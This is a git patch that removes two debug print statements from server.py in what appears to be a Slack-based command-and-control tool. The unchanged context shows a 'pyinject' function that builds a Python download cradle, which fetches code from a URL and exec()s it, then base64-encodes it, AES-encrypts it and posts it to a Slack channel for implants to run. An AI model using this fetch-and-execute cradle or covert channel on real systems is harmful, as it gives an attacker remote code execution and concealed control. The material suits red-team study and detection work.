From 2d42c51fb379ddf1310e962f9482198ab662798c Mon Sep 17 00:00:00 2001 From: n00py Date: Fri, 24 Jan 2020 15:09:31 -0700 Subject: [PATCH] Removed debug print statements --- server.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/server.py b/server.py index b197cbd..bfa3ead 100644 --- a/server.py +++ b/server.py @@ -594,11 +594,9 @@ def pyinject(bearer, commands, client_id, filepath): # Function execute python print(url) cradle = "import urllib2;r=urllib2.Request(\"" + url + "\");r.add_header(\"Authorization\", \"Bearer "\ + token + "\");s=urllib2.urlopen(r);exec(s.read())" - print(cradle) encoded = base64.b64encode(cradle.encode("utf-8")) cradle = str(encoded, "utf-8") command = "python -c \\\"import base64\;exec\(base64.b64decode\(\\\'" + cradle + "\\\'\)\) \\\" \; echo " - print(command) command = aes_encrypt.encrypt(command) data = {"channel": commands, "text": prefix + command} r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)